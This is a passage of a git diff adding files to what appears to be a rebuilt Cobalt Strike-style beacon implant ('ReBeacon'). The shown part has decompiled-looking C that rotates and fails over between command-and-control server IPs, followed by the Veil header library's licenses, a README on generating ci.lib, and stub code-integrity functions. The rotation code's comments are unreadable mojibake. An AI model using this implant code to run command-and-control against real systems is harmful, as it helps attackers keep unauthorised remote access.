g_failover_Strategy_number; + failover_Strategy_time = g_failover_Strategy_time; + } + else + { + ServerIP_Buff_carousel = (char*)malloc(strlen(ServerIP) + 1); + strncpy(ServerIP_Buff_carousel, ServerIP, strlen(ServerIP) + 1); + g_ip_number_carousel = 0; + for (ipsrc = strtok(ServerIP_Buff_carousel, ","); ipsrc; ipsrc = strtok(0, ",")) + { + ip_id = g_ip_number_carousel++; + g_ip_array_carousel[ip_id] = ipsrc; + } + g_ip_index_carousel = 0; + g_time = _time64(0); + failover_Strategy_number = rotation_opt->failover_Strategy_number; + g_rotate_Strategy_time = rotation_opt->rotate_Strategy_time; + failover_Strategy_time = rotation_opt->failover_Strategy_time; + g_failover_time = 0i64; + g_failover_Strategy_number = failover_Strategy_number; + g_failover_Strategy_time = failover_Strategy_time; + } + if (number) + { + if (failover_Strategy_number > -1 && ++g_failover_number > failover_Strategy_number) + { + v10 = 1; + } + if (failover_Strategy_time > -1) + { + if (g_failover_time) + { + if (current_time > g_failover_time + failover_Strategy_time) + { + v10 = 1; + } + } + else + { + g_failover_time = _time64(0); + } + } + } + else if (!dword_10037E80) + { + g_failover_time = 0i64; + g_failover_number = 0; + } + if (g_rotate_Strategy_time <= -1) + { + goto LABEL_23; + } + if (!v10) + { + if (dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; + } + if (current_time <= g_time + g_rotate_Strategy_time) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + v10 = 1; + LABEL_23: + if (!v10) + { + if (!dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; + } + } + g_ip_index_carousel += 2; + g_failover_number = 0; + dword_10037E80 = 0; + g_failover_time = 0i64; + if (g_ip_index_carousel >= g_ip_number_carousel) + { + g_ip_index_carousel = 0; + } + g_time = _time64(0); + if (!dword_10037E80) + { + result = g_ip_array_carousel[g_ip_index_carousel]; + dword_10037E80 = 1; + return result; + } + result = g_ip_array_carousel[g_ip_index_carousel + 1]; + dword_10037E80 = 0; + return result; +} + +char* g_ServerIP_Buff; +char* no_rotation(char* ServerIP) +{ + char* result; + + if (g_ServerIP_Buff) + { + result = strtok(0, ","); + if (result) + { + return result; + } + free(g_ServerIP_Buff); + } + g_ServerIP_Buff = (char*)malloc(strlen(ServerIP) + 1); + strncpy(g_ServerIP_Buff, ServerIP, strlen(ServerIP) + 1); + return strtok(g_ServerIP_Buff, ","); +} + +/// +/// ѯģʽ л ʱл +/// +/// +/// +/// +/// +char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number) +{ + if (rotation_opt->strategyID == 1)// random ѡ + { + return (char*)random_selection(ServerIP); + } + if (rotation_opt->strategyID == 2)//rotatefailover + { + return (char*)carousel(rotation_opt, ServerIP, number); + } + return no_rotation(ServerIP); // ѯ +} \ No newline at end of file diff --git a/ReBeacon_Src/rotation.h b/ReBeacon_Src/rotation.h new file mode 100644 index 0000000..4483a8f --- /dev/null +++ b/ReBeacon_Src/rotation.h @@ -0,0 +1,16 @@ +#pragma once +#include + +extern int dword_10037E80; +extern char* g_ServerIP_Buff; +typedef struct +{ + DWORD strategyID; + DWORD rotate_Strategy_time; + DWORD failover_Strategy_time; + DWORD failover_Strategy_number; +}rotationstruc; + +void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_id); + +char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number); \ No newline at end of file diff --git a/include/Veil/.gitignore b/include/Veil/.gitignore new file mode 100644 index 0000000..2f1229f --- /dev/null +++ b/include/Veil/.gitignore @@ -0,0 +1,350 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ \ No newline at end of file diff --git a/include/Veil/LICENSE b/include/Veil/LICENSE new file mode 100644 index 0000000..3d08f32 --- /dev/null +++ b/include/Veil/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) MiroKaku(MeeSong) and Contributors. All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/include/Veil/LICENSE.MINT b/include/Veil/LICENSE.MINT new file mode 100644 index 0000000..f034552 --- /dev/null +++ b/include/Veil/LICENSE.MINT @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) Chuyu-Team and Contributors. All rights reserved. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/include/Veil/LICENSE.phnt b/include/Veil/LICENSE.phnt new file mode 100644 index 0000000..0fb847e --- /dev/null +++ b/include/Veil/LICENSE.phnt @@ -0,0 +1,395 @@ +Attribution 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution 4.0 International Public License ("Public License"). To the +extent this Public License may be interpreted as a contract, You are +granted the Licensed Rights in consideration of Your acceptance of +these terms and conditions, and the Licensor grants You such rights in +consideration of benefits the Licensor receives from making the +Licensed Material available under these terms and conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + d. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + e. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + f. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + g. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + h. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + i. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + j. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + k. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + 4. If You Share Adapted Material You produce, the Adapter's + License You apply must not prevent recipients of the Adapted + Material from complying with this Public License. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material; and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/include/Veil/Library/README.Ci.md b/include/Veil/Library/README.Ci.md new file mode 100644 index 0000000..e587aa1 --- /dev/null +++ b/include/Veil/Library/README.Ci.md @@ -0,0 +1,82 @@ +# Generating import libraries (.lib files) + +Usually when linking with a certain dll, you’d use an import library provided by the vendor. +In our case, no such ci.lib file is provided and we need to generate it ourselves. +This lib file should be added as a linker input in the project properties. + +## 64 bit + +Get the exported functions from the dll, using dumpbin utility: + +`dumpbin /EXPORTS c:\windows\system32\ci.dll` + +Create a .def file. It will looks something like this: + +```c +LIBRARY ci.dll +EXPORTS + CiValidateFileAsImageType @1 NONAME + CiRegisterSigningInformation @2 NONAME + CiUnregisterSigningInformation @3 NONAME + CiCheckSignedFile + CiFindPageHashesInCatalog + CiFindPageHashesInSignedFile + CiFreePolicyInfo + CiGetCertPublisherName + CiGetPEInformation + CiInitialize + CiSetTrustedOriginClaimId + CiValidateFileObject + CiVerifyHashInCatalog +``` + +Generate the .lib file using the lib utility: + +`lib /def:ci.def /machine:x64 /out:ci.lib` + + +## 32 bit + +Here the situation gets a bit trickier, since in 32bit the functions are decorated to +include the sum of the arguments (in bytes), for example: + +`CiFreePolicyInfo@4` + +But ci.dll is exporting the functions in their non-decorated shape, so we need to create a .lib file that makes this translation. + +- Follow the first two steps of the 64bit section above. + +- Create a C++ file with function stubs - the same signature but dummy body. You basically mimic what the vendor did when exporting + the functions from their code. For example: + +```c +_IRQL_requires_max_(PASSIVE_LEVEL) +PVOID +NTAPI +CiFreePolicyInfo( + _In_ MINCRYPT_POLICY_INFO* PolicyInfo +) +{ + UNREFERENCED_PARAMETER(PolicyInfo); + return nullptr; +} +``` + +An example of such file is included in this repo under the name Stub.Ci.cpp + +- Compile it into an OBJ file. + +```bat + +> SET KM_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km" +> SET CRT_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km\crt" +> SET KIT_SHARED_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\shared" +> +> cl Stub.Ci.cpp /c /kernel /Zc:wchar_t /I%KM_IncludePath% /I%CRT_IncludePath% /I%KIT_SHARED_IncludePath% /D _X86_=1 /D i386=1 /DSTD_CALL /D_MINCRYPT_LIB +``` + +- Generate the .lib file using the lib utility, this time with the OBJ file: + +```bat +> lib /def:ci.def /machine:x86 /out:ci.lib Stub.Ci.obj +``` diff --git a/include/Veil/Library/Stub.Ci.cpp b/include/Veil/Library/Stub.Ci.cpp new file mode 100644 index 0000000..9f992cd --- /dev/null +++ b/include/Veil/Library/Stub.Ci.cpp @@ -0,0 +1,142 @@ +#include "../Veil.h" + +EXTERN_C_START + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiCheckSignedFile( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ PVOID SecurityDirectory, + _In_ UINT32 SizeOfSecurityDirectory, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +) +{ + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + UNREFERENCED_PARAMETER(SecurityDirectory); + UNREFERENCED_PARAMETER(SizeOfSecurityDirectory); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiVerifyHashInCatalog( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ BOOLEAN IsReloadCatalogs, + _In_ UINT32 Always0, // This is for IsReloadCatalogs, Always0 != 0 ? 16 : 24; + _In_ UINT32 Always2007F, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_opt_ UNICODE_STRING* CatalogName, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +) +{ + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + UNREFERENCED_PARAMETER(IsReloadCatalogs); + UNREFERENCED_PARAMETER(Always0); + UNREFERENCED_PARAMETER(Always2007F); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(CatalogName); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiValidateFileObject( + _In_ FILE_OBJECT* FileObject, + _In_opt_ UINT32 Unkonwn1, // 0 is a valid value. if it is 4, select sha256 + _In_opt_ UINT32 Unkonwn2, // 0 is a valid value. + _Out_ 